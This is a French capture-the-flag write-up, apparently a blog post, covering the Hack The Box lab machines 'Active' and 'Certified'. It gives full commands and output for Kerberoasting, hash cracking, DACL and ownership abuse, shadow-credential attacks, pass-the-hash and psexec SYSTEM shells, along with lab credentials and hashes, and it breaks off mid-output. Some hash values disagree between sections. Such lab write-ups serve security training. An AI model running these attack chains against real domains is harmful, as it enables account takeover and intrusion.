Cette commande exécute l’outil GetUserSPNs.py de la suite Impacket pour récupérer les Service Principal Names (SPN) configurés dans l’Active Directory, liés à des comptes de service. Ici, nous vérifions s’il existe un SPN qui pourrait être exploité pour effectuer une attaque de Kerberoasting.

1
2
3
4
5
6


$ impacket-GetUserSPNs active.htb/SVC_TGS:"GPPstillStandingStrong2k18" -dc-ip 10.10.10.100
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2025-01-04 07:30:15.825757

L’option -request permet de demander un ticket TGS (Ticket Granting Service) pour les SPN trouvés. Ce ticket est ensuite extrait sous forme de hash Kerberos, qui pourra être craqué hors ligne.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


$ impacket-GetUserSPNs active.htb/SVC_TGS:"GPPstillStandingStrong2k18" -request -dc-ip 10.10.10.100

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2025-01-04 07:30:15.825757

[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$8852493078c2a4f352f6468b34dcd243$38b8aa13f6ffb46cd7866c10ab7d0dc3a54117cfe4cd271fba599fa52f84b826cb94edda0fada6c386721fa3edfc10cf58b23c35cfdbd409e42d9ba81b84cab539fb285d561f7a8c15f3ee813eede43d56618635868377a8b9fe39c0708da79aebe14351a3bcf89b1d6f248a545a042772b27bd528c91df09e5b900df3b5188cd734316acd1416c63bf032540166f0e319db943dc7a099234da10956156f753927dafbb8f1c244df2b4a3c349f333a1cb6d26ae607a037b9a39a0f995f8ba811d7b8dfc58100c6b88b8493c1d85dee40d784f275c24184e727c3e55baa2fa233a28a820e5d04684b320b925588f9eb37568891bef410775ec5c001c0dbbe9b8b1acce9b7b55aa54b37367fabede080a6a270e5a79b49ff27f83f90da85a6bbe4a99210d6fb4a9d01faee68080243f6bc04131beb8111fceeedc87bbdd9168d95d3e15e262ed2a7a0bbda46c0a51bdbb32fc98bd81252f31f928e317b06a768ed51e75e58dc66b430f9638d2996944b324ea624be7fc9a24ff5b2cd4ab9ae0b156fc9747c8c7482b785815c46293b772f1d920c776b2a6aa2ab1bf815543ba5070381cd55f21b4c9b9a70172c3e637dad6e91c1e03651de9f8532e537119b2062f63c92a771ba8fe33b3ca7a674a204331d3f577bff722492b960c241a84c59f63b28b7eeba74c37db41f4d91215e3421d820b39b4a1dfd9477b885385c8bf578718ef8f8ca659818795dd182bc91f7e13afae7cf4e38cf9bb5f4e6530ec9ae3272873e706dd528e52bbedfd39de18621c71eed9556eaec0d53b7655a4b8ec5ee1e54b408f7416197e66ea5650b317deb4b50dda2d1164ce4e51d802e099dbed074edb67b9fa2cf90ae3535fbfad2be12fe224132132040e1e842355ad2783c07c376e2f97017cc84d266bb8127681edfdaae6fa0de25a3092fecb65860d22279a50db9c0f339f5ea4b21fa96007757b9099aca27c87e34403149179c77dcbe5e546db3960f768a2cccbff8fdb869b61c312357186bc803e56b76a503d9716549e53ada50aeb8eaf0018bed0449a63d4a69fb985eacb782f48e5f6c18603ce64ad7f5acc2046798a13de5c8da29e9ec5b763c63d19fdb9fc9d41fd6f704098ff0fda0220ea2ba32ada95eba169827ef9ad50c77475ef5dc45cc56063c28462a1a81786271ed6ae8505d3aca6b81aa9c1e9964a3dec3277a526a239241251a3c05bcbab5b30e596e23c189bcc442170b3b09a3e9f8b2e5d00cae47

Ce résultat correspond au hash TGS récupéré pour le compte Administrator.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


» vim admin_hash.txt
» hashcat -m 13100 -a 0 admin_hash.txt ~/wordlists/rockyou.txt
hashcat (v6.2.5) starting

Dictionary cache hit:
* Filename..: /home/leopold/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139922195
* Keyspace..: 14344385

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$8852493078c2a4f352f6468b34dcd243$38b8aa13f6ffb46cd7866c10ab7d0dc3a54117cfe4cd271fba599fa52f84b826cb94edda0fada6c386721fa3edfc10cf58b23c35cfdbd409e42d9ba81b84cab539fb285d561f7a8c15f3ee813eede43d56618635868377a8b9fe39c0708da79aebe14351a3bcf89b1d6f248a545a042772b27bd528c91df09e5b900df3b5188cd734316acd1416c63bf032540166f0e319db943dc7a099234da10956156f753927dafbb8f1c244df2b4a3c349f333a1cb6d26ae607a037b9a39a0f995f8ba811d7b8dfc58100c6b88b8493c1d85dee40d784f275c24184e727c3e55baa2fa233a28a820e5d04684b320b925588f9eb37568891bef410775ec5c001c0dbbe9b8b1acce9b7b55aa54b37367fabede080a6a270e5a79b49ff27f83f90da85a6bbe4a99210d6fb4a9d01faee68080243f6bc04131beb8111fceeedc87bbdd9168d95d3e15e262ed2a7a0bbda46c0a51bdbb32fc98bd81252f31f928e317b06a768ed51e75e58dc66b430f9638d2996944b324ea624be7fc9a24ff5b2cd4ab9ae0b156fc9747c8c7482b785815c46293b772f1d920c776b2a6aa2ab1bf815543ba5070381cd55f21b4c9b9a70172c3e637dad6e91c1e03651de9f8532e537119b2062f63c92a771ba8fe33b3ca7a674a204331d3f577bff722492b960c241a84c59f63b28b7eeba74c37db41f4d91215e3421d820b39b4a1dfd9477b885385c8bf578718ef8f8ca659818795dd182bc91f7e13afae7cf4e38cf9bb5f4e6530ec9ae3272873e706dd528e52bbedfd39de18621c71eed9556eaec0d53b7655a4b8ec5ee1e54b408f7416197e66ea5650b317deb4b50dda2d1164ce4e51d802e099dbed074edb67b9fa2cf90ae3535fbfad2be12fe224132132040e1e842355ad2783c07c376e2f97017cc84d266bb8127681edfdaae6fa0de25a3092fecb65860d22279a50db9c0f339f5ea4b21fa96007757b9099aca27c87e34403149179c77dcbe5e546db3960f768a2cccbff8fdb869b61c312357186bc803e56b76a503d9716549e53ada50aeb8eaf0018bed0449a63d4a69fb985eacb782f48e5f6c18603ce64ad7f5acc2046798a13de5c8da29e9ec5b763c63d19fdb9fc9d41fd6f704098ff0fda0220ea2ba32ada95eba169827ef9ad50c77475ef5dc45cc56063c28462a1a81786271ed6ae8505d3aca6b81aa9c1e9964a3dec3277a526a239241251a3c05bcbab5b30e596e23c189bcc442170b3b09a3e9f8b2e5d00cae47:Ticketmaster1968

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Ad...0cae47
Time.Started.....: Sun Jan 5 01:39:10 2025 (1 sec)
Time.Estimated...: Sun Jan 5 01:39:11 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/home/leopold/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 7678.4 kH/s (9.15ms) @ Accel:1024 Loops:1 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10616832/14344385 (74.01%)
Rejected.........: 0/10616832 (0.00%)
Restore.Point....: 10321920/14344385 (71.96%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: ahki_22 -> Saboka54
Hardware.Mon.#1..: Temp: 36c Fan: 46% Util: 23% Core:1860MHz Mem:3802MHz Bus:16

Started: Sun Jan 5 01:39:09 2025
Stopped: Sun Jan 5 01:39:12 2025

On trouve le mot de passe de l’administrateur ! Administrator:Ticketmaster1968

On peut maintenant se connecter en SMB et accéder au dossier de l’adminstrateur dans le share “USERS” qui était bloqué auparavant. On obtient bien le flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


$ smbclient //10.10.10.100/Users -U 'Administrator%Ticketmaster1968'
Try "help" to get a list of possible commands.
smb: \> cd Administrator\
smb: \Administrator\> ls
 . D 0 Mon Jul 16 06:14:21 2018
 .. D 0 Mon Jul 16 06:14:21 2018
 AppData DHn 0 Sat Jan 4 07:29:39 2025
 Application Data DHSrn 0 Mon Jul 16 06:14:15 2018
 Contacts DR 0 Mon Jul 30 09:50:10 2018
 Cookies DHSrn 0 Mon Jul 16 06:14:15 2018
 Desktop DR 0 Thu Jan 21 11:49:47 2021
 Documents DR 0 Mon Jul 30 09:50:10 2018
 Downloads DR 0 Thu Jan 21 11:52:32 2021
 Favorites DR 0 Mon Jul 30 09:50:10 2018
 Links DR 0 Mon Jul 30 09:50:10 2018
 Local Settings DHSrn 0 Mon Jul 16 06:14:15 2018
 Music DR 0 Mon Jul 30 09:50:10 2018
 My Documents DHSrn 0 Mon Jul 16 06:14:15 2018
 NetHood DHSrn 0 Mon Jul 16 06:14:15 2018
 NTUSER.DAT AHSn 524288 Sat Jan 4 07:30:15 2025
 ntuser.dat.LOG1 AHS 262144 Sat Jan 4 08:05:30 2025
 ntuser.dat.LOG2 AHS 0 Mon Jul 16 06:14:09 2018
 NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf AHS 65536 Mon Jul 16 06:14:15 2018
 NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms AHS 524288 Mon Jul 16 06:14:15 2018
 NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms AHS 524288 Mon Jul 16 06:14:15 2018
 ntuser.ini HS 20 Mon Jul 16 06:14:15 2018
 Pictures DR 0 Mon Jul 30 09:50:10 2018
 PrintHood DHSrn 0 Mon Jul 16 06:14:15 2018
 Recent DHSrn 0 Mon Jul 16 06:14:15 2018
 Saved Games DR 0 Mon Jul 30 09:50:10 2018
 Searches DR 0 Mon Jul 30 09:50:10 2018
 SendTo DHSrn 0 Mon Jul 16 06:14:15 2018
 Start Menu DHSrn 0 Mon Jul 16 06:14:15 2018
 Templates DHSrn 0 Mon Jul 16 06:14:15 2018
 Videos DR 0 Mon Jul 30 09:50:10 2018

 5217023 blocks of size 4096. 277230 blocks available
smb: \Administrator\> cd Desktop
smb: \Administrator\Desktop\> cat root.txt
cat: command not found
smb: \Administrator\Desktop\> get root.txt
getting file \Administrator\Desktop\root.txt of size 34 as root.txt (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \Administrator\Desktop\>

┌──(kali㉿kali)-[~/htb/Active/bloodhound2]
└─$ cat root.txt
5d2a.....fb20

Administrator shell

Grâce à l’outil psexec.py de la suite Impacket, j’ai pu obtenir un shell interactif avec les privilèges les plus élevés (NT AUTHORITY\SYSTEM) sur la machine cible. Cela a été possible en utilisant les identifiants de l’utilisateur Administrator pour se connecter au partage SMB ADMIN$, uploader un exécutable temporaire, et créer un service Windows pour l’exécuter. Une fois le service démarré, un accès complet au système a été établi, permettant un contrôle total de la machine.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


$ impacket-psexec Administrator:"Ticketmaster1968"@10.10.10.100
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file lwoxkZvR.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service zfLo on 10.10.10.100.....
[*] Starting service zfLo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

HTB | Certified

Wed, 11 Dec 2024 00:00:00 +0000

Machine name	OS	IP	Difficulty
Certified	Windows	10.10.11.41	Medium

Users

1
2
3
4


User : judith.mader, Password : judith09
User : management_svc, NT hash : a091c1832bcdd4677c28b5a6a1295584
User : ca_operator, NT hash : 94994b74f29662fc4d702f2f3b0df327
User : Administrator, LM/NT hash : aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


nmap 10.10.11.41 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-08 14:07 CET
Nmap scan report for 10.10.11.41
Host is up (0.060s latency).
Not shown: 992 filtered ports
PORT STATE SERVICE
53/tcp open domain
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
636/tcp open ldapssl
3269/tcp open globalcatLDAPssl

Enumerating Users - smb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


nxc smb 10.10.11.41 -u 'judith.mader' -p 'judith09' -d 'certified.htb' --rid-brute
SMB 10.10.11.41 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\judith.mader:judith09
SMB 10.10.11.41 445 DC01 498: CERTIFIED\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.41 445 DC01 500: CERTIFIED\Administrator (SidTypeUser)
SMB 10.10.11.41 445 DC01 501: CERTIFIED\Guest (SidTypeUser)
SMB 10.10.11.41 445 DC01 502: CERTIFIED\krbtgt (SidTypeUser)
SMB 10.10.11.41 445 DC01 512: CERTIFIED\Domain Admins (SidTypeGroup)
SMB 10.10.11.41 445 DC01 513: CERTIFIED\Domain Users (SidTypeGroup)
SMB 10.10.11.41 445 DC01 514: CERTIFIED\Domain Guests (SidTypeGroup)
SMB 10.10.11.41 445 DC01 515: CERTIFIED\Domain Computers (SidTypeGroup)
SMB 10.10.11.41 445 DC01 516: CERTIFIED\Domain Controllers (SidTypeGroup)
SMB 10.10.11.41 445 DC01 517: CERTIFIED\Cert Publishers (SidTypeAlias)
SMB 10.10.11.41 445 DC01 518: CERTIFIED\Schema Admins (SidTypeGroup)
SMB 10.10.11.41 445 DC01 519: CERTIFIED\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.41 445 DC01 520: CERTIFIED\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.41 445 DC01 521: CERTIFIED\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.41 445 DC01 522: CERTIFIED\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.41 445 DC01 525: CERTIFIED\Protected Users (SidTypeGroup)
SMB 10.10.11.41 445 DC01 526: CERTIFIED\Key Admins (SidTypeGroup)
SMB 10.10.11.41 445 DC01 527: CERTIFIED\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.41 445 DC01 553: CERTIFIED\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.41 445 DC01 571: CERTIFIED\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.41 445 DC01 572: CERTIFIED\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.41 445 DC01 1000: CERTIFIED\DC01$ (SidTypeUser)
SMB 10.10.11.41 445 DC01 1101: CERTIFIED\DnsAdmins (SidTypeAlias)
SMB 10.10.11.41 445 DC01 1102: CERTIFIED\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.41 445 DC01 1103: CERTIFIED\judith.mader (SidTypeUser)
SMB 10.10.11.41 445 DC01 1104: CERTIFIED\Management (SidTypeGroup)
SMB 10.10.11.41 445 DC01 1105: CERTIFIED\management_svc (SidTypeUser)
SMB 10.10.11.41 445 DC01 1106: CERTIFIED\ca_operator (SidTypeUser)
SMB 10.10.11.41 445 DC01 1601: CERTIFIED\alexander.huges (SidTypeUser)
SMB 10.10.11.41 445 DC01 1602: CERTIFIED\harry.wilson (SidTypeUser)
SMB 10.10.11.41 445 DC01 1603: CERTIFIED\gregory.cameron (SidTypeUser)

Bloodhound-python

On execute bloodhound-python pour récupérer des données sur l’Active directory.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


sudo bloodhound-python -d CERTIFIED.HTB -u 'judith.mader' -p 'judith09' -dc certified.htb -c All --zip -ns 10.10.11.41
INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer:
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 07S
INFO: Compressing output into 20241208115439_bloodhound.zip

Foothold

Targeted Kerberoasting

D’après ce qu’on observe sur bloodhound, on peut voir que l’utilisateur management_svc peut potentiellement être récupéré à l’aide d’une attaque “targeted Kerberoasting”. A l’aide de l’outil targetedKerberoast.py, on effectue l’attaque et on récupére le hash du mot de passe de management_svc :

1
2
3
4
5


targetedKerberoast.py -d certified.htb -u judith.mader -p judith09 -v
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (management_svc)
$krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$98e6a7443e6760f44cdd6b7a9ff0cdc8$21d6889b72b0eae33c5f4eb81af29e699b45b48284cde10ae2fdc23a1c929a5f5ccb8c88ef7c9a6f14552b848d42791d0c4f0827621e3fbd06abfb0fe5d41b2754443a76c8abe11350c929d8b6251f927222c0f1c7339620a15866b2f3714d5ab15cdb2893b13daf6db594aa4259d89028198d886c697997cc443afe9f8a09361736573565ebfa264a03c5d00ffb2377898d0c6087385d3b895ecb7e5ae11ac37875409b1bb574350707d049e5aad147b5a36c1172ea4d4deb2f7c62e5bfb75edcbb475e59a34ee8255b9262b39449625a05185526829e7437e9078253741d3bcb130325ad4e07ca41a2436a29020d467f67e4ff16e5be22a04b30317be8dc773f11374aabea10e4e669146698d0c558a060e27ac55554121cc26d7050172044810850793699c631a46cb33af8650b940c3b7676bd397c47cd7b27dd62f15d2b4fe8ca2c741bad98335af2be77ec06317d2ca3e5fb32bad8c3cc599cc2f62fc5a3e1124501ca010fe529d00e87babcaadbb8fb331d9027c999c9d30ad828613f25e782acc721d3842db14020713fcddded15996c195da468a14aa2cf2595f94c305d68d25d91579ec569e226627f15b0b7c5df2fd4306a8b5425e553711f321f3f40d0e9d65bcf77d20db59fea66a66b01ff383af30e7541ace8c20266199fd9ea56a54a5aade2859bd463b386eb754a8eb2c7202b3575adc3e1d8fb9231d93fab04039d4a7f07a9b79ffe00fa9c5c786404c68742e822a84af136cd472f6168621dfa4817312bdc08eb5e070a69842b15bbbea8a503f101043e1981cda2e0df4008c52d41b0e2805d8616c08b025eea8fc230b1b983322be2060f18da2ee9d832769ef53dcbd6d27bed287c55ed73be5678e21f52c4d3703a90d65a340e573648f43bf60a8194975516d2e70b69522f24d4aa713a20ba0d84efa776eb7886113456c77cb1cb535cb741ff651caf111ecec2f8d63a37d544035e2acf72298024415ee49f00037ee3e0a5653643a48675d355c7fd911f728fa3b9933c14919828bc74e689c523c7602a03413105f8c8aee518c6458ad4f2fcdcc8859ebca960a39b37987c7ac6a8d3f0bb8ca06b82f7e3afc3bb0d9777e852fb0a6ccdaf9a7897632d5c1ff7a7524f1ccd06da51b1ffeaeeca9b1b9ef827b7ec9de56af9af28093990983c4bc1543229c1b886b802286d606aca8fd2f1decc07b25f241fdd287975d6db4d32e472ae89700764a5e5a5cefb977ac106431fa8f435bf2c420a00528aaaa9237a286ff433be4ce8eb458cdcab450003ee0c5d49ce6c069cc40c48ed721c3a07b42e470991321b322475f9aef94c3e488b62289793fb3dac6c56cad4ebb95189c8864d2b7425047f5e4fd8f71d029f6e7df1caea05089da8a024bca18c34d92c52cb5d2bc19a4578ec9e872285fccabbdf54cff68968cff90ac592f247928bd27fcbb89b45a75ae00351ca654b9a978c213e52bbca509eeb5c34c520f94c5d394b2dee91988bddb8d7a6e1f61732d961c42ad33b76b46122f2e4a55dce6abf450d64180b6ff2394a59418668bf79f6d34af701fd1e98

Shadow credential attack

Grant ownership : It has the following command-line arguments.This abuse can be carried out when controlling an object that has WriteOwner or GenericAll over any object. The attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. On va donc rendre judith.mader owner du groupe

1
2
3
4
5
6
7


python3 owneredit.py -new-owner 'judith.mader' -target 'management' -dc-ip 10.10.11.41 -action write 'certified.htb'/'judith.mader':'judith09'

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!

Puis :

Modifying the rights To abuse ownership of a group object, you may grant yourself the AddMember privilege.

1
2
3
4
5
6
7
8
9


dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target 'management' 'certified.htb'/'judith.mader':'judith09'
[*] DACL backed up to dacledit-20241209-130331.bak
[*] DACL modified successfully!

## Cependant, après verification ca n'a pas fonctionné. Par contre j'ai pu me donner le controle totale a l'aide de cette commande
dacledit.py -action 'write' -rights 'FullControl' -principal 'judith.mader' -target 'management' 'certified.htb'/'judith.mader':'judith09'

## Pour vérifier les droits des utilisateur sur un groupe/objet, on peut utiliser cette commande
dacledit.py -action 'read' -target 'management' 'certified.htb'/'judith.mader':'judith09' | grep judith -A 3 -B 3

Enfin :

Adding to the group You can now add members to the group. On va donc s’ajouter comme membre du groupe : judith.mader.

1

net rpc group addmem "management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S "certified.htb"

Maintenant que judith.mader est membre du groupe, on va enfin pouvoir faire une ‘shadow credential attack’ pour obtenir le hash NT de management_svc :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


certipy-ad shadow auto -username judith.mader@certified.htb -p judith09 -dc-ip 10.10.11.41 -account management_svc -debug

[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.11.41:636 - ssl
[+] Default path: DC=certified,DC=htb
[+] Configuration path: CN=Configuration,DC=certified,DC=htb
[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '8438746f-c951-b3d9-9be0-c455cedf6731'
<KeyCredential structure at 0x7f711d6a6900>
 | Owner: CN=management service,CN=Users,DC=certified,DC=htb
 | Version: 0x200
 | KeyID: KcbU1P0bMaVuWjpricPI4cNFK5+qjRkV4gYbM4DfPP0=
 | KeyHash: 64a54a908329ffbd4746b1dabf32b65a35a9a107e4851235de8948687e0cf69d
 | RawKeyMaterial: <dsinternals.common.cryptography.RSAKeyMaterial.RSAKeyMaterial object at 0x7f711d6a68a0>
 | | Exponent (E): 65537
 | | Modulus (N): 0x920669e7366de61569081a4de24445dc45e6856c747d69ce86cd15dadcf516effc4c3543cb7e96487a3b5390c05b76ef5f1d1c0f2266803ffec550d281a108c2f594d21f4ce33abb612532f88560b6627b7dbe21247ec565e51d7b07b3bcfcbc858c91defaf7ee39e6ee7725d9df0ba759fbabc0ebea062c2c4adc03e6bb2459a7e285ed37eefeaaa91a0fd2de40114879e3d7b286646dfd0d6448a83b900eb7acc4b75345b61eefe66688de7a1425706c889a9e978ffcf2eb4456646c410454680341338a19214f690ffad5258b39cdbf000cbdbd0620d233aab9a431845148283d6fb6b5ae0c784a00938d72e00a254929a0fce6c922422d17abe8f57e8e69
 | | Prime1 (P): 0x0
 | | Prime2 (Q): 0x0
 | Usage: KeyUsage.NGC
 | LegacyUsage: None
 | Source: KeySource.AD
 | DeviceId: 8438746f-c951-b3d9-9be0-c455cedf6731
 | CustomKeyInfo: <CustomKeyInformation at 0x7f711d6968f0>
 | | Version: 1
 | | Flags: KeyFlags.NONE
 | | VolumeType: None
 | | SupportsNotification: None
 | | FekKeyVersion: None
 | | Strength: None
 | | Reserved: None
 | | EncodedExtendedCKI: None
 | LastLogonTime (UTC): 2024-12-10 04:23:52.735565
 | CreationTime (UTC): 2024-12-10 04:23:52.735565
[+] Key Credential: B:828:0002000020000129c6d4d4fd1b31a56e5a3a6b89c3c8e1c3452b9faa8d1915e2061b3380df3cfd20000264a54a908329ffbd4746b1dabf32b65a35a9a107e4851235de8948687e0cf69d1b0103525341310008000003000000000100000000000000000000010001920669e7366de61569081a4de24445dc45e6856c747d69ce86cd15dadcf516effc4c3543cb7e96487a3b5390c05b76ef5f1d1c0f2266803ffec550d281a108c2f594d21f4ce33abb612532f88560b6627b7dbe21247ec565e51d7b07b3bcfcbc858c91defaf7ee39e6ee7725d9df0ba759fbabc0ebea062c2c4adc03e6bb2459a7e285ed37eefeaaa91a0fd2de40114879e3d7b286646dfd0d6448a83b900eb7acc4b75345b61eefe66688de7a1425706c889a9e978ffcf2eb4456646c410454680341338a19214f690ffad5258b39cdbf000cbdbd0620d233aab9a431845148283d6fb6b5ae0c784a00938d72e00a254929a0fce6c922422d17abe8f57e8e6901000401010005001000066f74388451c9d9b39be0c455cedf67310200070100080008fb78af51bb4adb01080009fb78af51bb4adb01:CN=management service,CN=Users,DC=certified,DC=htb
[*] Adding Key Credential with device ID '8438746f-c951-b3d9-9be0-c455cedf6731' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID '8438746f-c951-b3d9-9be0-c455cedf6731' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: management_svc@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'management_svc.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584

On obtient le hachage NT pour l’utilisateur management_svc !

WinRm connexion avec le hachage NT (Pass-The-Hash) - user flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


evil-winrm -i 10.10.11.41 -u management_svc -H a091c1832bcdd4677c28b5a6a1295584

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\management_svc\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\management_svc\Desktop> cat user.txt
423f.....d084

Shadow Credentials attack : management_svc -> ca_operator

On effectue à nouveau une shadow credential attack pour récupérer le hachage NT de l’utilisateur ca_operator. Pour cela on utilise l’utilisateur management_svc avec son hachage NT (option -hashes au lieu du mot de passe qu’on ne connait -p) :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


certipy-ad shadow auto -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.10.11.41 -account ca_operator -debug

[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.11.41:636 - ssl
[+] Default path: DC=certified,DC=htb
[+] Configuration path: CN=Configuration,DC=certified,DC=htb
[*] Targeting user 'ca_operator'
...
...
[*] Successfully restored the old Key Credentials for 'ca_operator'
[*] NT hash for 'ca_operator': 13b29964cc2480b4ef454c59562e675c

### Nouveau bloodhound avec l’utilisateur ca_operator

1

sudo bloodhound-python -d CERTIFIED.HTB -u 'ca_operator' -p 'P@ssword' -dc certified.htb -c All --zip -ns 10.10.11.41

Bruteforce hashcat du hachage NT

On obtient le mot de passe de l’utilisateur ca_operator grâce à hashcat et la wordlist rockyou.txt :

1
2


hashcat -m 1000 -a 0 hash.txt ~/wordlists/rockyou.txt --show
13b29964cc2480b4ef454c59562e675c:P@ssword

Privilege Escalation

Bloodhound PE Path

Checking vuln in certificates / templates with ca_operator

On observe que management_svc à le droit CanPSRemote sur la machine DC01 :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89


certipy-ad find -vulnerable -stdout -u ca_operator@certified.htb -hashes 94994b74f29662fc4d702f2f3b0df327:94994b74f29662fc4d702f2f3b0df327 -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'CERTIFIED.HTB' at '10.0.2.3'
[+] Resolved 'CERTIFIED.HTB' from cache: 10.10.11.41
[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.11.41:636 - ssl
[+] Default path: DC=certified,DC=htb
[+] Configuration path: CN=Configuration,DC=certified,DC=htb
[+] Adding Domain Computers to list of current user's SIDs
[+] List of current user's SIDs:
 CERTIFIED.HTB\Domain Users (S-1-5-21-729746778-2675978091-3820388244-513)
